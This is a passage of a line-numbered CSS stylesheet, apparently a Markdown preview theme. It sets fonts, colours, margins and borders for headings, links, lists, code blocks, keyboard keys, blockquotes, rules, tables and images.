tt, h1 code, h2 tt, h2 code, h3 tt, h3 code, h4 tt, h4 code, h5 tt, h5 code, h6 tt, h6 code { 55 | font-size: inherit; 56 | } 57 | 58 | h1 { 59 | font-size: 24px; 60 | border-bottom: 1px solid #ccc; 61 | color: #000; 62 | } 63 | 64 | h2 { 65 | font-size: 18px; 66 | color: #000; 67 | } 68 | 69 | h3 { 70 | font-size: 14px; 71 | } 72 | 73 | h4 { 74 | font-size: 14px; 75 | } 76 | 77 | h5 { 78 | font-size: 14px; 79 | } 80 | 81 | h6 { 82 | color: #777; 83 | font-size: 14px; 84 | } 85 | 86 | body>h2:first-child, body>h1:first-child, body>h1:first-child+h2, body>h3:first-child, body>h4:first-child, body>h5:first-child, body>h6:first-child { 87 | margin-top: 0; 88 | padding-top: 0; 89 | } 90 | 91 | a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 { 92 | margin-top: 0; 93 | padding-top: 0; 94 | } 95 | 96 | h1+p, h2+p, h3+p, h4+p, h5+p, h6+p { 97 | margin-top: 10px; 98 | } 99 | 100 | /* LINKS 101 | =============================================================================*/ 102 | 103 | a { 104 | color: #4183C4; 105 | text-decoration: none; 106 | } 107 | 108 | a:hover { 109 | text-decoration: underline; 110 | } 111 | 112 | /* LISTS 113 | =============================================================================*/ 114 | 115 | ul, ol { 116 | padding-left: 30px; 117 | } 118 | 119 | ul li > :first-child, 120 | ol li > :first-child, 121 | ul li ul:first-of-type, 122 | ol li ol:first-of-type, 123 | ul li ol:first-of-type, 124 | ol li ul:first-of-type { 125 | margin-top: 0px; 126 | } 127 | 128 | ul ul, ul ol, ol ol, ol ul { 129 | margin-bottom: 0; 130 | } 131 | 132 | dl { 133 | padding: 0; 134 | } 135 | 136 | dl dt { 137 | font-size: 14px; 138 | font-weight: bold; 139 | font-style: italic; 140 | padding: 0; 141 | margin: 15px 0 5px; 142 | } 143 | 144 | dl dt:first-child { 145 | padding: 0; 146 | } 147 | 148 | dl dt>:first-child { 149 | margin-top: 0px; 150 | } 151 | 152 | dl dt>:last-child { 153 | margin-bottom: 0px; 154 | } 155 | 156 | dl dd { 157 | margin: 0 0 15px; 158 | padding: 0 15px; 159 | } 160 | 161 | dl dd>:first-child { 162 | margin-top: 0px; 163 | } 164 | 165 | dl dd>:last-child { 166 | margin-bottom: 0px; 167 | } 168 | 169 | /* CODE 170 | =============================================================================*/ 171 | 172 | pre, code, tt { 173 | font-size: 12px; 174 | font-family: Consolas, "Liberation Mono", Courier, monospace; 175 | } 176 | 177 | code, tt { 178 | margin: 0 0px; 179 | padding: 0px 0px; 180 | white-space: nowrap; 181 | border: 1px solid #eaeaea; 182 | background-color: #f8f8f8; 183 | border-radius: 3px; 184 | } 185 | 186 | pre>code { 187 | margin: 0; 188 | padding: 0; 189 | white-space: pre; 190 | border: none; 191 | background: transparent; 192 | } 193 | 194 | pre { 195 | background-color: #f8f8f8; 196 | border: 1px solid #ccc; 197 | font-size: 13px; 198 | line-height: 19px; 199 | overflow: auto; 200 | padding: 6px 10px; 201 | border-radius: 3px; 202 | } 203 | 204 | pre code, pre tt { 205 | background-color: transparent; 206 | border: none; 207 | } 208 | 209 | kbd { 210 | -moz-border-bottom-colors: none; 211 | -moz-border-left-colors: none; 212 | -moz-border-right-colors: none; 213 | -moz-border-top-colors: none; 214 | background-color: #DDDDDD; 215 | background-image: linear-gradient(#F1F1F1, #DDDDDD); 216 | background-repeat: repeat-x; 217 | border-color: #DDDDDD #CCCCCC #CCCCCC #DDDDDD; 218 | border-image: none; 219 | border-radius: 2px 2px 2px 2px; 220 | border-style: solid; 221 | border-width: 1px; 222 | font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; 223 | line-height: 10px; 224 | padding: 1px 4px; 225 | } 226 | 227 | /* QUOTES 228 | =============================================================================*/ 229 | 230 | blockquote { 231 | border-left: 4px solid #DDD; 232 | padding: 0 15px; 233 | color: #777; 234 | } 235 | 236 | blockquote>:first-child { 237 | margin-top: 0px; 238 | } 239 | 240 | blockquote>:last-child { 241 | margin-bottom: 0px; 242 | } 243 | 244 | /* HORIZONTAL RULES 245 | =============================================================================*/ 246 | 247 | hr { 248 | clear: both; 249 | margin: 15px 0; 250 | height: 0px; 251 | overflow: hidden; 252 | border: none; 253 | background: transparent; 254 | border-bottom: 4px solid #ddd; 255 | padding: 0; 256 | } 257 | 258 | /* TABLES 259 | =============================================================================*/ 260 | 261 | table th { 262 | font-weight: bold; 263 | } 264 | 265 | table th, table td { 266 | border: 1px solid #ccc; 267 | padding: 6px 13px; 268 | } 269 | 270 | table tr { 271 | border-top: 1px solid #ccc; 272 | background-color: #fff; 273 | } 274 | 275 | table tr:nth-child(2n) { 276 | background-color: #f8f8f8; 277 | } 278 | 279 | /* IMAGES 280 | =============================================================================*/ 281 | 282 | img { 283 | max-width: 100% 284 | } --------------------------------------------------------------------------------